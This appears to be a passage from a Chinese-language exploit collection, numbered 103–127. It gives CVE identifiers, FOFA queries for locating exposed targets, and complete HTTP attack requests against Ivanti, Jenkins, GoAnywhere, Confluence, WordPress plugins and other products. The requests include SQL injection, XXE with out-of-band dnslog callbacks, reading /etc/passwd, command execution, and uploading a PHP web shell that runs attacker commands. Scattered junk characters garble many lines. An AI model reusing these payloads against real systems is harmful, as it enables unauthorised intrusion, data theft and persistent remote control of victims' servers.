$ U1 T& ?9 w8 U, ?  Y3 YUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
4 Z8 l9 X8 b# O9 n+ E9 OContent-Length: 792
Accept-Encoding: gzip

" Q: ~: N- I: }2 m) b( |5 A<?xml version="1.0" encoding="UTF-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body>             <ds:Signature           xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                   <ds:SignedInfo>                        <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-cc14n#"/>                         <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>                    </ds:SignedInfo>                       <<ds:SignatureValue>qwerty</ds:SignatureValue>                    <ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/22000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                         <ds:RetrievalMethod URI="http://kr9dqoau.dnslog.pw"/><<ds:X509Data/>                   </ds:KeyInfo>                  <ds:Object></ds:Object>         </ds:Signature> </soap:Body></soap:Envelope>

103. Ivanti Pulse Connect Secure VPN XXE
CVE-2024-22024
FOFA：body="welcome.cgi?p=logo"
POST /dana-na/auth/saml-sso.cgi HTTP/1.1
Host: 192.168.40.130:111
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
/ I) _6 ]0 h. ^, ^( RConnection: close
Content-Length: 204
; B- T" X; Q( iContent-Type: application/x-www-form-urlencoded
5 J- S0 `( |1 i- E- V/ g  |# qAccept-Encoding: gzip
3 G. C6 u6 _% U; F6 [# W! Z7 ~! H
- y" S. [, J5 M6 oSAMLRequest=PD94bWwgdmVyc2lvbj0iMS4wIiA/PjwhRE9DVFlQRSByb290IFs8IUVOVElUWSAlIHdhdGNoVG93ciBTWVNURU0KICAgICJodHRwOi8vYzJ2a2J3YnMuZG5zbG9nLnB3L3giPiAld2F0Y2hUb3dyO10+PHI+PC9yPg==
1 N4 b5 [; G* G! z0 n

$ ?; X& I* G, M其中SAMLRequest的值是xml文件内容的base64值，xml文件如下
/ c0 q  x+ W& [1 Y2 G: _6 H; ^<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY % watchTowr SYSTEM"http://c2vkbwbs.dnslog.pw/x"> %watchTowr;]><r></r>

- ^. S/ o. A, o6 r' s; x7 o
104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
7 f# _& o$ h0 e6 [CVE-2024-0569
1 W+ Y1 T/ A0 h, T4 k5 p7 w( YFOFA：title="TOTOLINK"
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Host:192.168.0.1
Content-Length:41
Accept:application/json,text/javascript，*/*;q=0.01
& E3 M1 i2 c, B7 n% fX-Requested-with: XMLHttpRequest
4 t0 S9 e0 v6 GUser-Agent: Mozilla/5.0 (Windows NT 10.0;Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko)Chrome/99.0.4844.51Safari/537.36
" P+ R/ q; t2 u; gContent-Type: application/x-www-form-urlencoded:charset=UTF-8
Origin: http://192.168.0.1
5 U6 k, _- l0 C4 ~Referer: http://192.168.0.1/advance/index.html?time=1671152380564
$ Q- t! B8 Y+ Q" E' E7 LAccept-Encoding:gzip,deflate
+ E$ p0 i4 q1 [Accept-Language:zh-Tw,zh:g=0.9.en-US:g=0.8.en:g=0.7
Connection:close
- C- `' x& L7 G6 y: _; w
) C% M0 F8 t- b0 L( ~# u{
"topicurl":"getSysStatusCfg",
"token":""
" K( v2 O/ g: Q! k}

; k. C, ^5 P- |5 T; z0 s105. SpringBlade v3.2.0 export-user SQL 注入
FOFA：body="https://bladex.vip"
http://192.168.40.130.90/api/bla ... ame&1-updatexml(1,concat(0x7e,md5(102103122),0x7e),1)=1
. ]3 j% w# e/ H* P* O5 _9 k# p
# z( O. C0 ^$ f106. SpringBlade dict-biz/list SQL 注入
8 D7 X8 e% A) ?& n" jFOFA：body="Saber 将不能正常工作"
! v, M, P4 L& {$ x4 eGET /api/blade-system/dict-biz/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
8 R  y* J! M% H3 S! E$ M3 v9 [2 THost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
4 c9 w9 A/ ^- C1 p2 ~7 n8 q& FBlade-Auth: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwidXNlcl9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJyb2xlX2lkIjoiMTEyMzU5ODgxNjczODY3NTIwMSIsInVzZXJfbmFtZSI6ImFkbWluIiwib2F1dGhfaWQiOiIiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MTM3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzd29yZCIsImV4cCI6MTc5MTU3MzkyMiwibmJmIjoxNjkxNTcwMzIyfQ.wxB9etQp2DUL5d3-VkChwDCV3Kp-qxjvhIF_aD_beF_KLwUHV7ROuQeroayRCPWgOcmjsOVq6FWdvvyhlz9j7A
Accept-Encoding: gzip, deflate
' S  d2 [: p! A1 \: R6 Z4 _0 PAccept-Language: zh-CN,zh;q=0.9
8 w0 Z, w# S1 v. c! FConnection: close
: m; |9 ?% I6 o# G* h  N& L

107. SpringBlade tenant/list SQL 注入
  W+ o* B2 a5 `& RFOFA：body="https://bladex.vip"
GET /api/blade-system/tenant/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
Host: your-ip
6 {5 Y% ?! d- \User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
# G% B9 x5 P. w4 |% j; |/ MBlade-Auth:替换为自己的
Connection: close

2 E9 L% B7 o5 E1 O5 D0 r  L
108. D-Tale 3.9.0 SSRF
+ b, S3 `* g, c( y2 }CVE-2024-21642
FOFA："dtale/static/images/favicon.png"
" A- y/ t* P8 x5 t: D, J  ]7 O6 a1 |GET /dtale/web-upload?type=csv&url=http%3A%2F%2Fa4xs0nop.dnslog.pw HTTP/1.1
! w/ ^. @1 i7 v: ^# c4 _5 LHost: your-ip
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
3 W4 j  `; o3 }3 WAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
4 B6 n; M% `) RConnection: close

' a* ?- u! E- `2 L$ N
109. Jenkins CLI 任意文件读取
CVE-2024-23897
FOFA：header="X-Jenkins"
POST /cli?remoting=false HTTP/1.1
, }. E4 p. K+ L) g, G. }/ dHost:
Content-type: application/octet-stream
Session: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
Side: upload
: U; L+ j/ T! V, D7 ?Connection: keep-alive
Content-Length: 163

b'\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0e\x00\x00\x0c@/etc/passwd\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05en_US\x00\x00\x00\x00\x03'

5 i- N# q+ M% A
! V5 z- p" g2 FPOST /cli?remoting=false HTTP/1.1
Host:
Session: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
download
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
5 h, t0 p4 W: b5 l. R: B

ERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
java -jar jenkins-cli.jar help
+ Z8 r  W( O8 G( S5 g[COMMAND]
Lists all the available commands or a detailed description of single command.
COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)


8 p; R* l7 w7 [- \& ~9 D" R7 s4 Y/ |* O110. Goanywhere MFT 未授权创建管理员
2 x9 w& \; h- K0 E2 F: vCVE-2024-0204
/ P: Q0 V, h0 c7 b' @" ]& T9 Y  e$ D5 ^FOFA：body="InvalidBrowser.xhtml"|| icon_hash="1484947000"|| icon_hash="1828756398"|| icon_hash="1170495932"
+ n3 p* x2 d$ p) b; Q0 zGET /goanywhere/images/..;/wizard/InitialAccountSetup.xhtml HTTP/1.1
1 \  Y: g& S# h0 b2 c5 rHost: 192.168.40.130:8000
0 a# p$ L5 Z- k7 g8 _/ f9 H4 g6 SUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2820.59 Safari/537.36
Connection: close
: U! _7 T/ t5 T$ CAccept: */*
& T  S, I* z& G% f3 _* n, z& dAccept-Language: en
+ {: ^+ D/ Q+ C% mAccept-Encoding: gzip

* ?+ _$ G( C  P) K
7 b9 h" q9 i3 u: ]( Z+ y2 O( W111. WordPress Plugin HTML5 Video Player SQL注入
, p: J- Z" E9 y1 n9 A# SCVE-2024-1061
FOFA："wordpress" && body="html5-video-player"
GET /?rest_route=/h5vp/v1/view/1&id=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)--+- HTTP/1.1
Host: 192.168.40.130:112
  y& v- |( T! T3 ^; |, W" X7 {0 B) B1 vUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
5 t8 L3 _  q3 K) Z! TConnection: close
" T: ^9 d- h2 i# T1 eAccept: */*
Accept-Language: en
Accept-Encoding: gzip


3 m" I% u7 H6 B/ e9 [112. WordPress Plugin NotificationX SQL 注入
) J- D- n" n+ ^, M0 U: ICVE-2024-1698
FOFA：body="/wp-content/plugins/notificationx"
9 a3 C0 h- q4 M8 f/ R7 G, tPOST /wp-json/notificationx/v1/analytics HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json

{"nx_id": "1","type": "clicks`=1 and 1=sleep(5)-- -"}
% S9 o  h* Z  @4 t0 \0 w

113. WordPress Automatic 插件任意文件下载和SSRF
CVE-2024-27954
FOFA："/wp-content/plugins/wp-automatic"
; q$ u: b% p& ?* f/ XGET /?p=3232&wp_automatic=download&link=file:///etc/passwd HTTP/1.1
Host: x.x.x.x
; A, [; ?; B% X6 o2 ?- F0 {User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
Connection: close
6 ^5 b7 v. t: B9 Z# [6 y1 }5 CAccept: */*
+ V  r% N6 }  A: w, RAccept-Language: en
: b9 t8 M# ]9 X$ G" J3 {- B9 pAccept-Encoding: gzip
9 }( p) ]# }& p
% O. ~( V+ @$ [/ N4 T
114. WordPress MasterStudy LMS插件 SQL注入
# b# z) C8 Y# a2 \; Z! C8 b' IFOFA：body="wp-content/plugins/masterstudy-lms-learning-management-system/"
7 v+ E% b2 }( dGET /?rest_route=/lms/stm-lms/order/items&author_id=1&user=1)+AND+%28SELECT+3493+FROM+%28SELECT%28SLEEP%285%29%29%29sauT%29+AND+%283071%3D3071 HTTP/1.1
Host: your-ip
; W, i6 J% _1 w0 H* uUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
+ p7 Q! C7 a* ~" nAccept-Charset: utf-8
0 X- b6 k- l9 y+ T+ `! EAccept-Encoding: gzip, deflate
" p/ R$ `  n  ZConnection: close

; M: f& b/ i* Y6 V; K
115. WordPress Bricks Builder <= 1.9.6 RCE
CVE-2024-25600
FOFA: body="/wp-content/themes/bricks/"
. Z3 k4 w. @9 @4 M第一步，获取网站的nonce值
GET / HTTP/1.1
4 f) Q7 d% E! g& F. NHost: x.x.x.x
( `% i* I1 ~) R9 [User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
Connection: close
8 y. F+ V# `0 t6 SAccept-Encoding: gzip


第二步替换nonce值，执行命令
POST /wp-json/bricks/v1/render_element HTTP/1.1
* g0 C# t. J& d& B4 K+ IHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
; [7 l- Y+ m" M4 O! c5 j, |$ aConnection: close
Content-Length: 356
Content-Type: application/json
Accept-Encoding: gzip
" v. I8 b+ i" T/ A5 L
{
% q: X0 J# g' T2 o5 W" m"postId": "1",
  "nonce": "第一步获得的值",
  "element": {
    "name": "container",
5 [7 T1 f$ c: n) K. p' f7 {    "settings": {
      "hasLoop": "true",
      "query": {
4 J. E9 K- T9 y" G% ~5 \        "useQueryEditor": true,
        "queryEditor": "ob_start();echo `id`;$output=ob_get_contents();ob_end_clean();throw new Exception($output);",
        "objectType": "post"
      }
; `: L3 w1 b5 I& S, t3 O    }
  }
}
5 s/ G% C' w  ^; o( `
! q; Z0 R4 b( Z& l* C
' R9 [0 _( z: M116. wordpress js-support-ticket文件上传
  E3 t! G2 g6 g5 h! T; v% s0 n& VFOFA：body="wp-content/plugins/js-support-ticket"
2 \2 Y; l( H7 f7 tPOST /wp-admin/?page=configuration&task=saveconfiguration HTTP/1.1
+ z: r" q5 O; T. |' xHost:
Content-Type: multipart/form-data; boundary=--------767099171
User-Agent: Mozilla/5.0
6 o# F+ [2 r/ v3 [/ S1 N
----------767099171
Content-Disposition: form-data; name="action"
, u/ B( ]2 N$ Bconfiguration_saveconfiguration
----------767099171
Content-Disposition: form-data; name="form_request"
- I/ X! D3 G7 g9 Jjssupportticket
----------767099171
/ s2 z) |( X4 A% BContent-Disposition: form-data; name="support_custom_img"; filename="{{rand8}}.php"
Content-Type: image/png
----------767099171--
0 L/ C. ?6 |) Z+ X
% u' _+ L3 I% Z: o7 O
& V' W* m7 D1 f117. WordPress LayerSlider插件SQL注入
version：7.9.11 – 7.10.0
9 @: k& O: s5 c6 G& SFOFA：body="/wp-content/plugins/LayerSlider/"
GET /wp-admin/admin-ajax.php?action=ls_get_popup_markup&id[where]=1)and+(SELECT+6416+FROM+(SELECT(SLEEP(5)))nEiK)--+vqlq HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
/ ~2 u# B. l! H! RAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
# y& U0 K* A# V  nAccept-Encoding: gzip, deflate, br
Connection: close
: `2 Q+ i/ x! Y' A2 DUpgrade-Insecure-Requests: 1
9 O7 {% n" c2 V4 I- F
$ k( N' G$ a; J, ?3 d3 o
( x! d8 J2 `) f; N118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
CVE-2024-0939
FOFA：title="Smart管理平台"
; ]' a% `7 M! A" z+ t' p) sPOST /Tool/uploadfile.php? HTTP/1.1
- D- I7 @$ }& n. x1 J  _- Q, ?Host: 192.168.40.130:8443
Cookie: PHPSESSID=fd847fe4280e50c2c3855ffdee69b8f8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
4 a/ F. X0 o+ M$ p4 i( I. O7 wAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------13979701222747646634037182887
5 j; d7 D* T7 xContent-Length: 405
, j( r  i7 b/ Z& j* z" \Origin: https://192.168.40.130:8443
Referer: https://192.168.40.130:8443/Tool/uploadfile.php
9 ^# c* i$ s6 v, Q; o9 GUpgrade-Insecure-Requests: 1
- z. R. S+ h5 d2 s3 u7 F$ iSec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
$ M, F4 `$ I# e$ o/ i# wTe: trailers
Connection: close
+ v: I3 O- E) j* W- [& A
-----------------------------13979701222747646634037182887
Content-Disposition: form-data; name="file_upload"; filename="contents.php"
3 a5 T" G) h! b: Y, k. W8 c: z" SContent-Type: application/octet-stream

4 b, U, m+ c8 _# X$ z  t8 O- D) T<?php
system($_POST["passwd"]);
?>
-----------------------------13979701222747646634037182887
6 r( N7 x- X/ q1 z  P7 n% RContent-Disposition: form-data; name="txt_path"
6 ]% v. ?  G% Q$ n7 f* `
# R" w, w0 U3 l/home/src.php
-----------------------------13979701222747646634037182887--
% x/ ?9 w: |; E! [; _5 l
& y3 x3 d" W$ g5 d
访问/home/src.php
8 `' `5 g6 F- a0 f) r8 x% T5 g% Z
& ^3 E: p3 r6 A3 a& ~( R* b119. 北京百绰智能S20后台sysmanageajax.php sql注入
CVE-2024-1254
, ?4 Q# v7 n8 iFOFA：title="Smart管理平台"
先登录进入系统，默认账号密码为admin/admin
9 T7 @6 }1 n( X2 X3 APOST /sysmanage/sysmanageajax.php HTTP/1.11
9 j( w. n3 r( g/ w: ~* y5 _. M" `Host: x.x.x.x
Cookie: PHPSESSID=b7e24f2cb8b51338e8531e0b50da49ee
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
$ x' r# e6 T. y0 t7 U/ X7 HAccept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
: |. `- k0 P0 q/ }, e" LAccept-Encoding: gzip, deflate
5 U) S& u; c2 K2 e: i, SContent-Type: application/x-www-form-urlencoded;
# `/ x/ [7 b( b0 L# z+ TContent-Length: 109
Origin: https://58.18.133.60:8443
Referer: https://58.18.133.60:8443/sysmanage/manageadmin.php
! W5 Q9 l/ k* }1 ^3 GSec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
, m( Z; z+ |! \5 g$ [% RX-Forwarded-For: 1.1.1.1
+ p, S5 Q( u/ T& D# R  bX-Originating-Ip: 1.1.1.1
: r" u9 l/ M+ ^1 ~. u8 oX-Remote-Ip: 1.1.1.1
) D/ w. V& V7 a. d$ |X-Remote-Addr: 1.1.1.1
% O- m/ b# [  }: a: {3 p7 m: Q' oTe: trailers
& a/ x. ^2 N! u/ \/ WConnection: close
5 k- b5 {* c3 T' ?/ y
9 I$ ?, J: M3 Q; U1 o8 j; Qsrc=manageadmin&type=add&id=(select*from(select+if(length(database())=3,sleep(5),1))a)|1|1&value=test2|123456

& E% n( L$ f1 A* O" P1 B' X
8 ?+ P9 ?$ _, h$ y120. 北京百绰智能S40管理平台导入web.php任意文件上传
CVE-2024-1253
FOFA：title="Smart管理平台"
5 J/ T( x- O" r) {$ V! TPOST /useratte/web.php? HTTP/1.1
5 `# W* ~/ A! m; ?' w0 l+ d. @; Q# QHost: ip:port
6 X- O% X9 K- p5 S+ N1 }Cookie: PHPSESSID=cb5c0eb7b9fabee76431aaebfadae6db
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
- [* J' w6 T* }- H! b5 B  F/ XAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
* z  @& U* g8 w2 ~: yAccept-Encoding: gzip, deflate
3 u' H, |% B  c6 @6 sContent-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
Content-Length: 597
Origin: https://ip:port
Referer: https://ip:port/sysmanage/licence.php
' X2 z% e. {' `/ X9 p6 U2 I% YUpgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
' Q# G' w  Z# n- ~. U( k3 ZSec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
: r# e- S/ L4 v' }. M: y/ g( IConnection: close
  A! c. y% ~9 `( m1 r3 D* K+ R
-----------------------------42328904123665875270630079328
$ b  ~6 B5 x6 \5 L/ f" G' IContent-Disposition: form-data; name="file_upload"; filename="2.php"
Content-Type: application/octet-stream
+ ^9 \0 d+ ?' {1 s  K0 @
0 k, v. ~) f" O. ]# ~8 A! k8 v<?php phpinfo()?>
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="id_type"
* }; ]' Z5 D  l) |
5 l8 b# r& Q- _2 q' n: n* I1
: M3 K! E  k0 M, Y$ J-----------------------------42328904123665875270630079328
* P# C+ f; N2 L: Z2 S' d( ?Content-Disposition: form-data; name="1_ck"
- e0 }5 f$ Y( ]7 {
, h1 J5 y  \( u. ?' U/ R! \1_radhttp
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="mode"

import
-----------------------------42328904123665875270630079328


文件路径/upload/2.php

# Q1 N3 {$ {5 @& }8 r2 W4 l0 Z121. 北京百绰智能S42管理平台userattestation.php任意文件上传
CVE-2024-1918
FOFA：title="Smart管理平台"
# y$ L% W% y5 T" p1 n6 h, nPOST /useratte/userattestation.php HTTP/1.1
9 P& T, u% n" s, QHost: 192.168.40.130:8443
( k0 T' v6 |" j; BCookie: PHPSESSID=2174712c6aeda51c4fb6e6c5e6aaac50
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
$ x; U( d0 n2 b% p5 M+ L  `Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
$ p  E: B* b: k8 bContent-Length: 592
) s: B8 e# p" }; F, BOrigin: https://192.168.40.130:8443
; Y4 s$ I4 _/ L; p. Z4 {1 F- x; CUpgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
4 w+ r9 P; \3 a8 {  ~Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
+ ?; l& x1 ?9 M  K! U  P) ZTe: trailers
Connection: close
& n6 u- U' N2 C$ q
-----------------------------42328904123665875270630079328
! ?6 S* @# {0 \0 P, S! ^Content-Disposition: form-data; name="web_img"; filename="1.php"
" m" p1 W  s2 r* ZContent-Type: application/octet-stream

<?php phpinfo();?>
& g! h) J0 K) d2 U: h& a-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="id_type"
. g: e: [3 a  I% C5 T$ L
1
-----------------------------42328904123665875270630079328
; y! }7 y, O' u: q/ n; Z3 m) H; iContent-Disposition: form-data; name="1_ck"
) D( ^9 J8 p% y- |, `
1_radhttp
-----------------------------42328904123665875270630079328
1 {; `6 z# T2 l1 cContent-Disposition: form-data; name="hidwel"

8 p) g) G) K" a4 G' ]  rset
-----------------------------42328904123665875270630079328

3 L: ^0 |1 I% i! I2 l2 Y' m
boot/web/upload/weblogo/1.php
0 Y; h0 M* S8 B- {2 ?  M
122. 北京百绰智能s200管理平台/importexport.php sql注入
CVE-2024-27718FOFA：title="Smart管理平台"
其中sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=是sql语句使用base64加密后的内容，原文：sql=select 1,database(),version()
GET /importexport.php?sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=&type=exportexcelbysql HTTP/1.1
Host: x.x.x.x
$ C- r% v  O+ ?, L6 \5 HCookie: PHPSESSID=f20e837c8024f47058ad2f689873dfc0
; m/ S1 L7 r8 E2 G, S4 h! UUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
9 I1 t. p4 @- r! ~# oAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
" X5 B: a3 l" l3 u+ e! m. n9 iSec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
: y! \* L1 _6 h0 y; E, N2 FSec-Fetch-Site: none
Sec-Fetch-User: ?1
& r7 {/ R' b; d+ j& g. O! ~Te: trailers
( L* B; c" U& j: P3 H* eConnection: close

" ]# ]. Z( U4 a! `- ?, P- W) R' n
( q* N7 p& G; _123. Atlassian Confluence 模板注入代码执行
FOFA：app="ATLASSIAN-Confluence" && body="由 Atlassian 合流8.5.3"
# R; I) \( r$ {/ I! R4 OPOST /template/aui/text-inline.vm HTTP/1.1
( c4 j) J- v9 j" V% lHost: localhost:8090
Accept-Encoding: gzip, deflate, br
$ ?2 y$ U7 B( AAccept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
* W9 a6 D; q! L$ x$ hUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded

label=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({"id"}))
0 u( K! j& z7 |8 H* c: [4 F

' Y; V& J: B, W$ i/ y8 }, [124. 湖南建研工程质量检测系统任意文件上传
FOFA：body="/Content/Theme/Standard/webSite/login.css"
POST /Scripts/admintool?type=updatefile HTTP/1.1
Host: 192.168.40.130:8282
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
Content-Length: 72
3 p7 T3 y6 x* ]$ c; zAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
# z  X+ e! @# V; i3 F" mAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
+ e; X" G. [) I% ?' JContent-Type: application/x-www-form-urlencoded
/ O1 u2 X# v$ D/ e
. i- P: @) q, O- TfilePath=abcgcg.aspx&fileContent=<%Response.Write("Hello,World")%>
' m, j, t3 g& x' ~) Y

http://192.168.40.130:8282/Scripts/abcgcg.aspx

125. ConnectWise ScreenConnect身份验证绕过
  j& Y7 c0 N4 _CVE-2024-1709
1 s4 s" z0 B: U: \* dFOFA：icon_hash="-82958153"
% B3 l5 A5 b+ C* ?6 Phttps://github.com/watchtowrlabs ... bypass-add-user-poc
% L8 A6 u  c! W6 A8 F

使用方法
python watchtowr-vs-ConnectWise_2024-02-21.py --url http://localhost --username hellothere --password admin123!
. W4 E$ N# t' J7 K! N2 K. I. g
4 t4 |0 S* p. `1 N/ ~' w6 u
创建好用户后直接登录后台，可以执行系统命令。

126. Aiohttp 路径遍历
; _+ w* A% }$ I, m; m( B6 R2 KFOFA：title=="ComfyUI"
GET /static/../../../../../etc/passwd HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
& S/ w# x( ^: b4 x  k# T2 _Connection: close
# q/ {* M  C! E. dAccept: */*
Accept-Language: en
Accept-Encoding: gzip
/ y% J% I1 P2 l$ M

127. 广联达Linkworks DataExchange.ashx XXE
FOFA：body="Services/Identification/login.ashx"
POST /GB/LK/Document/DataExchange/DataExchange.ashx HTTP/1.1
- W, d, a3 A: u7 s% ~( h4 P- UHost: 192.168.40.130:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
Content-Length: 415
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
: g0 }8 ]+ M: i. M# n; h* G7 ZAccept-Language: zh-CN,zh;q=0.9
) q, B; V2 _! WConnection: close
Content-Type: multipart/form-data;boundary=----WebKitFormBoundaryJGgV5l5ta05yAIe0
! V+ ]* f/ T1 J/ h3 UPurpose: prefetch
' N9 {" ?0 ]! }* B0 Q/ C) y& tSec-Purpose: prefetch;prerender
% z9 C& Q- [' J% l  A$ i
------WebKitFormBoundaryJGgV5l5ta05yAIe0
1 X8 c5 R- D' U5 }* l& g1 x: `) ?Content-Disposition: form-data;name="SystemName"
) E, p/ U# T8 i5 @6 R9 b
6 q" }4 x7 d7 o1 D' f  cBIM
------WebKitFormBoundaryJGgV5l5ta05yAIe0
Content-Disposition: form-data;name="Params"
